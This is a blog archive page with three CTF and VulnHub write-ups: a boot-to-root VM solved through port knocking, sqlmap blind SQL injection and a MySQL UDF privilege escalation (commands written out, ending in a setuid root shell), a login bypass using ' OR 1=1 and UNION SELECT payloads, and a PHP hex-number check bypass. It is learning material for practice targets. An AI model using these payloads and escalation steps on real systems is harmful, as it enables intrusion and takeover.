Tag Archives: Web Login

Posts related to Web Login pages

VulnHub – Lord Of The Root Writeup

Hey folks, so here’s my writeup for KookSec’s “Lord Of The Root” VM from VulnHub.

WARNING! – I always “plan” on doing a nice short writeup, then just drag it out with possibly OTT details….which i think i’ve done here too.  But the purpose of this blog is more for me to refer back to, and understand how something works.  And i’m finding if i don’t go into detail….i don’t understand it.   Consider yourself warned! 😉

After firing it up, first things first, whats it’s IP. lotr-1lotr-2Well Hello Mr Bond….err i mean!  Now….NMAP time.

lotr-3lotr-4Hmmn, not much, lets do a bigger scan of 1-5000 ports, and get a little angrier with a T4 switch.

lotr-5But i got the same results.  So either theres something running on a much higher port, or something funky is going on.  Well seen as this is a VulnHub challenge, lets assume the latter 🙂

Lets have a look at that SSH port.lotr-6Ah ok, so still a normal SSH connection, but with a nice banner.

“Knock Friend To Enter” – “Easy as 1,2,3”.

This sounds like a technique i’ve heard about, called Port Knocking, where you “knock” or “ping” a port, or a series of ports, and if the sequence is correct, “something” happens, usually, it allows the IP address of the knocker access to some other service ports.

As i mentioned, i’ve never played around with this, but i am aware of another VulnHub writeup i read by a friend (Hey Knapsy!) which involved port knocking.

So i had a quick read of that, then ended up firing off the following 3 commands (yes i know i could of scripted it, but hey….i’m lazy!)lotr-7What we are doing here, is using the hping3 command, pointing it at our IP address, then specifying a port number (e.g -p 1) then how many “pings” to send (in this case just the one e.g -c 1)

Do this for each port 1, 2 and 3, and now lets perform another NMAP scan, see what turns up!

And…..lotr-4Same result….hmm.  K.  At this stage, i kept cycling through my “knocking” pings, including knocking on port 123….1,2,3 times.  But no luck.   Maybe something IS open….but not in the “top ports”.

Lets do a scan for ports between 1-5000 again.lotr-8AHA!  Port 1337, and it looks like a HTTP port, so lets have a browse to it.

lotr-9Err….K.   I checked a few things here including the source code for the page, even found the original file off MemeBase.com and compared the 2 files.  The same, so theres no hidden stego stuff going on here.

Next i fired up DirBuster.lotr-10(I always use directory-list-2.3-medium.txt, if theres something to find, it usually finds it)

First thing it finds, is a /images/ directory, containing the following.lotr-11

Again, some “meme” pics related to LOTR.

DirBuster didn’t find anything else of interest.  I also decided to check robots.txt…worth a shot.lotr-12

OK, so it didn’t give me a robots.txt file, but did display one of the photos i found before (hipster.jpg)

If there is no robots.txt file on a server, what do you usually get?  A 404 not found page, but in this case i’m getting the pic above. And going off the phrase in the pic “We can’t go this way”, maybe this is a personalized 404 page.  Lets test it with a random path on the web server, using a random word….like…i dunno “supercalifragilisticexpialidociouslotr-13

AHA!  Same thing, so this must be a custom 404 page.  Lets view it’s source.


Theres the link to our photo, and also a HTTP Comment Tag.

From experience i guessed this was a Base64 encoded string, so i tried decoding it.lotr-15Hehe, cute.  Lets now decode the new string it gives us.

lotr-16Aha!  Nice, we have a new url path to try.


OK, so we have a login page.  First things first, lets try a quick ‘ OR 1=1 —  in both fields……nothing, just an error saying “Username or Password is invalid”.  Quick check of the page source, cookies and another DirBuster scan from /978345210/ didn’t find anything of interest.  I’m gonna guess this is some form of SQL Injection, as CTF and boot2roots don’t usually involved brute forcing.  Time to let SQLMap have a look at this page.

Before we do that though, we need some “values” for SQLMap to test on, so BurpSuite is used to capture the POST data thats sent when we hit “Login”, as well as the response from the server on a failed login.lotr-18

So here we can see, the “POST Data” thats sent to the server.


And we already know the response from the server is.

Username or Password is invalid

So with these 2 items, we can use SQLMap to see if theres anything vulnerable, using the following command:lotr-20lotr-21

OK, looks like it’s found that the “username” field is vulnerable to a time-based blind SQLi, and it’s detected it’s likely MySQL, so we can skip testing for other DBMS’s.

So now we’ve found it’s vulnerable, lets try and get some info out of it.  First we want to know the name of the database being used by this login page, so lets expand our SQLMap command, to specify to find the current database and also specify “MySQL” as the DBMS type.


Now with a “time-based blind” SQL Injection, what SQLMap does is send various SQL queries to the database, which test on something, and if that test is true, it will pause for 5 seconds, and if false, continue on.  So in this example, it finds the name of the current database in use.lotr-23

As you can see it’s found that the database name is “Webapp”.  It’s found this out by sending a series of queries like below. (Note the below are NOT actual SQL queries, but rather my interpretation of what it’s doing)

If the name of the current database begins with "A" then pause for 5 secs, otherwise continue on. RESULT = False....so it skips.

If the name of the current database begins with "B" then pause for 5 secs, otherwise continue on. RESULT = False...so it skips.


If the name of the current database begins with "W" then pause for 5 secs, otherwise continue on.  RESULT = True...so it sleeps for 5 secs, then  SQLMap detects this pause, and knows the current database begins with "W".

Now...if the name of the current database's second letter begins with "a" then pause for........

Hopefully you get the idea.  If it detects a pause, it knows it’s right, records the result and continues on.   This process can take a while obviously, but it’s a excellent way of pulling info out of a SQL database, when you are “blind.

Now we specify the database name, and include a –dump to dump all the info from that database.lotr-24


Excellent! If we login to the web page with any of these credentials, they work, but they just take you to a profile.php page, which shows the 3rd image we found earlier…nothing else.lotr-26

But if you try logging in to the SSH server using these credentials, only one works (smeagol), but we at least now get a shell!lotr-27

But, it’s a limited shell, so the next obvious step is to escalate our privileges to root.  My usual starting process for this is to download a enumerations script, to help gathering any “juicy” info. Theres 3 i currently use:

They all do SOME similar things, such as pull version info for installed services, find “interesting” files, try and read /etc/passwd and /etc/shadow etc. LinuxPrivChecker also suggests some possible exploits.  It’s not upto date, and the suggestions sometimes don’t work, but it’s a good starting point.

I’ll just be focusing on LinuxPrivChecker for this writeup. A quick wget downloads it to the vm from my local Kali VM, then we run it using python.


At the end you can see a list of possible exploits.  If we scroll through the full output we find a couple of interesting items.

First is a list of files/directories that have the SetUID or SetGID attributes set on them.  This basically means you can run the file with the permissions of the owner.


Theres 3 files that have this attribute set, and the owner is root.  The files are also…not standard files.lotr-32

The second interesting item, is that in the list of processes running as root, is mysqld, so the MySQL process that hosts the database we running an SQLi attack againest is running as root, which isn’t normal.  Usually it’s running under it’s own restricted “mysql” account. lotr-33 lotr-34

At this point i’d like to point you to the page on VulnHub for this VM where it states.

There are two designed methods for privilege escalation.

OK!  This is useful, particularly for me, as i’m USELESS with binaries, debugging, reversing and buffer overflows etc….So i ignore the 3 binaries with SetUID attributes set, and focus on the fact that MySQL daemon is running as root, and the suggested exploit that LinuxPrivChecker has given us.

First we need to try and get the MySQL “root” account password.  This is saved in a database named “mysql” and in the table “user”.  So we simple alter our SQLMap command to try and get this info.  We also include the switch -C user,password, which only gives us the info from those 2 columns (the user table contains LOTS of other columns todo with access rights, but we only care about the user and password).lotr-36lotr-37b

And there we have the MySQL “root” users password.

The exploit is here https://www.exploit-db.com/exploits/1518/, i’m not going to go into the full details, but follow the simple instructions to give it a go.  But basically, it gets the MySQL database to run a system command, and because it’s running as root, could be a winner.

First we download the exploit C code, and write it to a file on the vm. (I named mine 1518.c…which is the exploit ID from ExploitDB)lotr-35

On the ExploitDB page is also shows how to use the Exploit.  In this example, what it will do is run the id command, and pipe the output to a temp file.  Which you can check to see who the id command was run as.  Here’s how i used the exploit:

  • Created the file 1518.c containing the exploit code on the vm (Done above).
  • Compile the code using gcc
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
  • Login to the MySQL server using the root account.
mysql -u root -p (Enter password when prompted)


  • Select the mysql database to work with.
use mysql;


  • Create a new table to store the exploit in.
create table myexploit(line blob);


  • Insert the compiled exploit file into the table.
insert into myexploit values(load_file('/home/smeagol/1518.so'));


  • Output the contents of the myexploit table into a file in /usr/lib/mysql/plugin

Note – I had to slightly change my code compared to what was listed in the exploit, as output the file to just /usr/lib as detailed in the exploit didn’t work, hence the change to /usr/lib/mysql/plugin

select * from myexploit into dumpfile '/usr/lib/mysql/plugin/1518.so';


  • Create a MySQL function named “do_system” which uses the above code.
create function do_system returns integer soname '1518.so';


  • Check the created function exists.
select * from mysql.func;


  • Specify the command we want to run, which as mentioned will run as a the mysqld user, which is “root”.  In this example, we’ll just output the result of the id command, to confirm we are running as root.
select do_system('id > /tmp/out; chown smeagol.smeagol /tmp/out');


  • Now we switch back to a shell prompt.
\! sh


  • Finally, lets read the contents of /tmp/out, which should be the results of the previously run id command.
cat /tmp/out


Excellent!   So our exploit works, and we can run commands as “root”.  At this stage, we could just change the previous command to list the contents of the /root/ directory, see if theres a flag file, then cat the contents of it.   But i still want a proper…proper root shell 🙂

After a bit of Google searching, i found a nice simple way of doing this, following this article. This details using the same exploit we have already use, but then using some simple C code, which launches /bin/bash, compile it, then finally give it the SetUID attribute.  So when we run it as our normal use, it launches a shell (/bin/bash) but running as root.

So first up we create our C code, named rootshell.c, which simply launches /bin/bash.


Then, back in the MySQL database, we compile it, by altering the previously created ls command

select do_system('gcc -o /home/smeagol/rootshell /home/smeagol/rootshell.c');


Then we set the SetUID attribute.

select do_system('chmod u+s /home/smeagol/rootshell');


Done!   So we now have our “rootshell” binary.  Exit MySQL, and run it.lotr-50

BOOM!  We are now root 🙂  A quick ls to find the flag file, and view it’s contents.lotr-51

REALLY loved this VM, had some cool challenges, and i’ve learnt a few things, which will be VERY useful when i do my OSCP.

I am also going to work on the 3 binaries we found, and understand how to figure out what they do, and how to exploit them, and do a writeup for these too.   Which is even easier now we seem to of found the source code for the files (shown above).

Cheers folks, thanks for reading.


backdoorctf – practice challenge – sequel

Here’s another writeup for a practice challenge on the backdoorCTF site. (WARNING….i went on a bit with this post, so it’s massively over-detailed, but..hopefully it explains everything properly).

They just had (April 2015) a full CTF which i took part in, but didn’t have much time to spend on challenges, so didn’t solve anything….but (as they do with all their CTF’s) they then make the challenges available in their “Practice Arena” for you to work on anytime.   So i’ll be hitting some of those soon 🙂

OK, on with the writeup.  This is a 120 point challenge called “sequel”.


OK, so we have a link to a web application and a link to some of it’s source code too.

When we click on the link to the web application we get the following:


Looking at the source code we see the following:

sourcecodeOK, so looks like a basic web authentication page, using a SQL database…but this is an SQLite database, as opposed to MySQL, PostGres etc, but it seems theres not much difference between statements compared to MySQL.

So i could fully test and see whats going on with this web application…and SQLite, i built a “test” system on a VM, so i could work through the code, and see what happens etc.

I built a simple Ubuntu 14.02.2 server, installed Apache, PHP and SQLite, built a simple database containing what i “thought” maybe in the actual one, along with some info etc.

I could see from the source code, that it queried a table in the database called users, also, there was at least 3 columns i was aware of (usernamepassword_hash and name)

query rows

We could also assume that there would be an id column for each entry, so 4 columns all up.

It looked like the password that was entered, was converted to a sha256 hash, then checked (so the passwords were in this format in the database).

And finally there is reference to a user named “sdslabs“, so i made sure to create a user with that username……..remember this for later.

So my database ended up looking like this:

(The hashed passwords i created were p@ssw0rdbackdoor and football respectively.)


Next i created the index.html page, same as on the web application, and copied the source code into submit.php, and made a few “tweaks”.


Into submit.php, i changed the name of the database to match the name of the one i created.


And also added the following at the bottom:


This allows me to see the value of various variables after i’ve entered them into the web login form, and submit.php has done it’s stuff.

For example.   If i entered the username john and password monday into the form, the returned page looks like:


Obviously john doesn’t exist in my database, so it fails, but i can see the entered username and password, the hashed password, and the SQL query that’s being run.

If i logged in with the sdslabs user i created i get:


So obviously, this time the user exists, and it’s the one that the script is looking for, so it would print the flag.  It also shows the same info as before, but also the value of the $name variable, as well as the results of the query against each row.

Cool!   So i have a working web application, with similar code (albeit with extra debug info) and a database which i THINK (note the underline) matches what the actual database is.

For those familiar with SQL, PHP and specifically SQL Injection, this might seem like a lot of overkill, and effort…but as I’m still learning, and want to fully understand what’s happening, and the processes involved…then this helps me 🙂

OK, lets start working through the script.  The first line connects to the SQLite database.


Next, it sets the variable $username to the entered username, and also the variable $password to the entered password from the login form., but for the password it also hashes it using sha256.  So entered the password “p@ssw0rd” would become “a075d17f3d453073853f813838c15b8023b8c487038436354fe599c3942e1f95


Next the variable $query is set to the SQL query to be run.


This is a fairly generic SQL statement…which doesn’t look or work much differently than one for MySQL.

Next it sets the variable $result to the result of the SQL query that was run.  If the query returns nothing (e.g the user doesn’t exist, or the password is incorrect, the query would fail, and no result would be returned)  But if it was successful it would return the results (as an array) into the variable $result.

It then performs an IF statement, for each returned row in the result.


If there isn’t a row in the result (e.g….no user found, or incorrect password) it jumps down to the else statement, where it prints out “User not found or incorrect password” then the script ends


But if there is a result it continues on…

And first sets the variable $name to the value in the row, in position “1“. and also the variable $username to the value in the row, in position “2.


To understand this a bit more, lets login with the account i created in the database with username “bob” and password “football“.  On my test setup, the SQL query would look like this:


If we run this query directly within the database itself (and tag on a “;” on the end) it would look like this:


So the resulting row looks like below, which is an array.

3|Bob Smith|bob|6382deaf1f5dc6e792b76db4a4a7bf2ba468884e000b25e7928e621e27fb23cb

And within PHP, if we were to display the value of each item in the $row variable, it would look like this:bobquery3

So the value of $row[1] is “Bob Smith” which corresponds to the value of name in the database, and $row[2] is “bob” which corresponds to the value of username in the database.

OK…back to the script….there is another IF statement, which checks to see if the value in $username is equal to “sdslabs” and if so….tells us we are successful and displays the flag.


And if the value in $username isn’t equal, then it just prints the value in $row[1] which is the value name in the database.


OK…so thats the script…..now….what criteria must we meet for this script, which will make the LIVE system display the flag.  Well:

  • We must return a valid result from the SQL query.  If it returns nothing, it will simply say “User not found or incorrect password“.
  • We must make sure the value of $username, which is the value in $row[2] from the SQL query result is “sdslabs“.

So….first things first.  The password.   As this gets hashed up, whatever value we enter into this field is going to be turned into gobbledygook for us, so we can safely ignore this completely.

So lets pretend we don’t know a valid username for our test system, how can we get it to return a result, lets try the good ole “‘ OR 1=1 — ” trick.



OK, this at least returned a result, which as expected, returned the first row from the database.

How about if we just specify the username “sdslabs” then comment out the rest of the statement.



Woah!   It worked….wow that was easy.  Lets try that on the “LIVE” system…the actual challenge on backdoorctf…..yeah, you forgot we were actually trying to solve that didn’t you? 😉


Huh?   Why?  How come that works on my demo system, but not on the LIVE system?

I checked various things in my script, and also my database at this stage, and was confused. “How come the LIVE system doesn’t log me in with the user sdslabs when my demo system does???”……”I know the user exists, as it checks to see if the username equals that in the script!!!”…..”Wait!….it checks to see if the username equals “sdslabs” in the script……but that DOESN’T mean it’s actually a valid user in the database!”

Aha!  Just because it checks that value….doesn’t mean that user exists in the database….sneaky!

I then tried the “‘ OR 1=1 —  trick on the LIVE system and this returns.


OK….so obviously on the LIVE system, there is a user with the name “Dhaval Kupil” in the first row in their database.  So using that trick does get us a result at least. Now onto how we can make sure the returned value from the query has “sdslabs” in position $row[2].

Back to our old friend UNION SELECT.  If you are unfamilar with this function, it allows you to add one SQL statement onto another.  And in this case, we want to add our OWN values to the result of the query.

So….on my test system, i have a database, with a table with 4 columns:

  • id
  • name
  • username
  • password_hash

Using UNION SELECT, i can pass my own values into the query….so it returns these values in the results of the query.

Here’s an example.  If we jump into the SQLite database and enter the following query.

SELECT * FROM users WHERE username = 'john';

But as this user doesn’t exist in my database, no row would be returned.


But if i use UNION SELECT i can specify what i want to be returned.  So if the query is changed to look something like this:

SELECT * FROM users WHERE username = 'john' UNION SELECT "9", "John Smith", "john", "whateverpassword";

Despite the user not existing, it would return a row, with the values i specified.


So….using this, lets try importing our own values using UNION SELECT onto the LIVE system.  As the only value the PHP code checks for is the username field, we’ll only pass that in the values, and use null for the rest.

Our new string we’ll enter into the username field is:

' OR 1=1 UNION SELECT null, null, "sdslabs", null --

This works on my test system:


But doesn’t on the LIVE system 🙁  But i don’t get an error, saying the user wasn’t found, which makes me think there’s something wrong in my SQL statement. But again, why?  When it works on my test system?

Thinking what could be different again…i KNOW there are at least 4 columns in the database….what if there’s more?

So I modified my query to add a new column AFTER my “sdslabs” (as we know this one must be in the 3rd position (row[2]).  So new query is:

' OR 1=1 UNION SELECT null, null, "sdslabs", null, null --


YESSSS!!!!!  So obviously there was another column in the database 🙂

I had heaps of fun figuring this…kind fairly simple challenge out, but i guess the more you understand the simple challenges, the more it helps in more detailed ones.

Again, i highly recommend people who are interested in challenges like this to head over to https://backdoor.sdslabs.co/ and have a go!  They’ve got heaps available and as i mentioned earlier have all the ones from the recent BackDoorCTF2015.

If you’ve got this far…nice effort, and if i made a mistake, or you liked this post….drop a comment below 🙂


Boston Key Party CTF – Symphony Writeup

The Boston Key Party CTF happened on the weekend, and i didn’t realize till the last minute.

But i managed to get a couple of challenges done, and here’s a nice quick writeup for the Symphony challenge, a huge 25 pointer 🙂

The challenge was:


You click the link, and get taken to a web page a password:


If you click the Level 2 title, it takes you to the html/php code running in the background.  The main part, being the PHP code, which was:

require 'flag.php';

if (isset($_GET['password'])) {
     if (is_numeric($_GET['password'])){
          if (strlen($_GET['password']) < 4){
               if ($_GET['password'] > 999)
                    die('Flag: '.$flag);
                    print '<p class="alert">Too little</p>';
          } else
               print '<p class="alert">Too long</p>';
     } else
          print '<p class="alert">Password is not numeric</p>';

So lets break down the PHP code.

  • First it checks to see if something has been entered into the password field.
  • Then it uses the PHP function called is_numeric which checks to see if the value entered into the password field is a numeric one.
  • Next to checks to see if the entered value is less that 4 characters in length.
  • Then finally it checks to see if the entered value is greater than 999

So we need to enter a numeric password, greater than 999, but less than 4 characters.  As i’m still learning PHP, i wanted to know more about the function is_numeric

Finds whether the given variable is numeric. Numeric strings consist of optional sign, any number of digits, optional decimal part and optional exponential part. Thus +0123.45e6 is a valid numeric value. Hexadecimal (e.g. 0xf4c3b00c), Binary (e.g. 0b10100111001), Octal (e.g. 0777) notation is allowed too but only without sign, decimal and exponential part.

Oohhh, so as well as decimal, it also works with binary, octal and….hex! 🙂

Time to fire up the super secret hacker tool….Windows Calculator 🙂

Make sure it’s in “Programmer” mode, enter in a number greater than 999, such as….1000.

Then hit the “Hex” button


And we end up with 3E8….which is a number greater than 999, and has less than 4 characters in it 🙂

UPDATE (03/03/2015)

Looks like i screwed by hex up!, to be an actual hex value it needs to begin with 0x, so the value should be 0x3E8 as pointed out by Zirkonix below in the comments.  Lesson learned 🙂



Woohoo!! 🙂   Yeah, i know, a nice basic one, but still fun 🙂